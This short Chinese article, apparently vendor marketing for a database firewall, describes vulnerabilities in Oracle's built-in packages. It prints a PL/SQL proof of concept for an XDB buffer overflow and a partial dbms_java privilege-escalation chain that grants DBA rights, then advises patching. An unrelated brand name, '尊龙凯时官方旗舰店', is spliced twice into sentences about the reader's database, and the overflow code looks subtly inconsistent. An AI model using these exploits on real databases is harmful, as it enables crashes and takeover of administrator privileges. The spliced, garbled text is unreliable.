许多数据库系统都提供大量内建的存储过程和软件包。这些存储过程对象为数据库提供了额外的帮助,同时帮助管理员和开发者管理数据库系统。
例如目前用户量最广的oracle数据库,默认情况下在安装时便拥有多达30000个可以公开访问的对象,这些对象为许多任务(包括访问os文件、发送http请求、管理xml对象、java服务以及支持复制)提供相应的功能。这些功能都会在网络上开启对应端口,而每多开一个网络端口就为尊龙凯时官方旗舰店造成多一份入侵威胁。
这些内建对象包含的漏洞覆盖了:sql注入、缓冲区溢出和应用程序逻辑漏洞等。oracle的内建包中含有大量这种漏洞,我们下面就拿一个xdb上缓冲区溢出的漏洞举例。
declare
buff varchar2(32767);
begin
buff :=’12345678901234567890123456789’;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=’12345678901234567890123456789’;
xdb.xdb_pitrig_pkg.pitrig_truncate(buff,buff);
end;
同样java也存在大量此种漏洞,并且危害比上面的xdb还严重
…..dbms_java.set_output_to_java(‘id’,’oracle/aurora/rdbms/dbmsjava’,’sys’,’writeoutputtofile’,’text’,null,null,null,null 0,1,1,1,1,0,’ declare prag…….
exec dbms_cdc_isubscribe……
上面这个漏洞是针对oracle 11.1系列 的java漏洞。利用dbms_cdc_isubscribe 包可被 任意帐号执行,但这个包的创建者是sys。如果执行dbms_cdc_isubscribe 的回话是sys,就可以执行sys权限(提权到dba)dbms_java.set_output_to_java 函数可以把system.err的java重定向到一个新的会话中。于是我们故意输入错误参数导致dbms_cdc_isubscribe.int_purge_window 产生错误,并把错误写入到system.err中。同时创建一个新sys权限会话 。真正被执行的语句是 execute immediate "grant dba to user()"
我们从上面的例子中不难看出这种漏洞对于数据库安全的危害很大。建议数据库的使用者及时更新数据库厂商发布的官方补丁,同时关闭不必要的对象以及对应端口。如果由于某种原因无法对数据库进行补丁升级,建议使用带vpatch功能的数据库防火墙保护尊龙凯时官方旗舰店。
试用申请